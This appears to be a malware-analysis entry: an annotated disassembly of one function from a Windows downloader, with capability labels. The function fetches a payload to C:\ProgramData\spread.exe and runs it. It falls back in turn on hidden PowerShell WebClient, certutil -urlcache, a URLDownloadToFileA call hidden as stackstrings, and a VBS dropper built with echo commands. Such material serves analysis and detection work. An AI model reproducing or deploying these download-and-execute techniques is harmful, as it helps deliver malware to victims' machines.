Function at 0x10001110
Capabilities:
Check if file exists
Contain obfuscated stackstrings
Create process on windows
Get file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x12c
mov eax, dword [0x10012004]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push 0x104
lea eax, [ebp - 0x128]
mov ebx, ecx
push 0
push eax
mov dword [ebp - 0x12c], ebx
call fcn.10002230
lea ecx, [ebp - 0x128]
add esp, 0xc
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x10001150
sub ecx, edx
lea eax, [ebp - 0x128]
push ecx
push 0
push eax
call fcn.10002230
push str.c:_ProgramData_spread.exe
push str.c:_ProgramData_spread.exe
push ebx
lea eax, [ebp - 0x128]
push str.cmd__c_powershell.exe__windowstyle_hidden__new_object_System.Net.WebClient_.DownloadFile__s___s___s
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
mov esi, dword [sym.imp.KERNEL32.dll_WinExec]
lea eax, [ebp - 0x128]
add esp, 0x20
push 0
push eax
call esi
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
push 0x7530
call ebx
mov edi, dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
push str.c:ProgramData_spread.exe
call edi
cmp eax, 0xffffffff
je 0x100011ce
pop edi
pop esi
mov eax, 1
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.100013d8
mov esp, ebp
pop ebp
ret
lea ecx, [ebp - 0x128]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x100011d7
sub ecx, edx
lea eax, [ebp - 0x128]
push ecx
push 0
push eax
call fcn.10002230
push str.c:ProgramData_spread.exe
push str.c:ProgramData_spread.exe
push dword [ebp - 0x12c]
lea eax, [ebp - 0x128]
push str.cmd__c_certutil.exe__urlcache__split__f__s__s_s
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x20
lea eax, [ebp - 0x128]
push 0
push eax
call esi
push 0x7530
call ebx
push str.c:ProgramData_spread.exe
call edi
cmp eax, 0xffffffff
jne 0x100011b8
movaps xmm0, xmmword [0x10010d30]
lea eax, [ebp - 0x10]
push eax
mov dword [ebp - 0x10], 0x6d6c7275
mov dword [ebp - 0xc], 0x642e6e6f
mov word [ebp - 8], 0x6c6c
mov byte [ebp - 6], 0
movups xmmword [ebp - 0x24], xmm0
mov word [ebp - 0x14], 0x4165
mov byte [ebp - 0x12], 0
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
lea eax, [ebp - 0x24]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0
push 0xa
push str.c:ProgramData_spread.exe
push dword [ebp - 0x12c]
push 0
call eax
test edi, edi
je 0x10001294
push edi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
push 0
push str.cmd__c_c:ProgramData_spread.exe
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
push str.c:ProgramData_spread.exe
call edi
cmp eax, 0xffffffff
jne 0x100011b8
lea ecx, [ebp - 0x128]
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x100012c0
sub ecx, edx
lea eax, [ebp - 0x128]
push ecx
push 0
push eax
call fcn.10002230
add esp, 0xc
push 0
push str.cmd__c_echo_on_error_resume_next__c:ProgramData_vbs.vbs
call esi
push 0x3e8
call ebx
push 0
push str.cmd__c_echo_with_wscript:if_.arguments.count_2_then_.quit:end_if___c:ProgramData_vbs.vbs
call esi
push 0x3e8
call ebx
push 0
push str.cmd__c_echo_set_aso.createobject__adodb.stream__:set_webcreateobject__microsoft.xmlhttp_____c:ProgramData_vbs.vbs
call esi
push 0x3e8
call ebx
push 0
push str.cmd__c_echo_web.open__get__.arguments_0__0:web.send:if_web.status_200_then_quit___c:ProgramData_vbs.vbs
call esi
push 0x3e8
call ebx
push 0
push str.cmd__c_echo_aso.type1:aso.open:aso.write_web.responsebody:aso.savetofile_.arguments_1__2:end_with___c:ProgramData_vbs.vbs
call esi
push 0x3e8
call ebx
push str._c:ProgramData_spread.exe
push dword [ebp - 0x12c]
lea eax, [ebp - 0x128]
push str.cmd__c_cscript_c:ProgramData_vbs.vbs
push str._s__s__s
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x14
lea eax, [ebp - 0x128]
push 0
push eax
call esi
push 0x7530
call ebx
push str.c:ProgramData_spread.exe
call edi
xor ecx, ecx
cmp eax, 0xffffffff
pop edi
setne cl
mov eax, ecx
mov ecx, dword [ebp - 4]
pop esi
xor ecx, ebp
pop ebx
call fcn.100013d8
mov esp, ebp
pop ebp
ret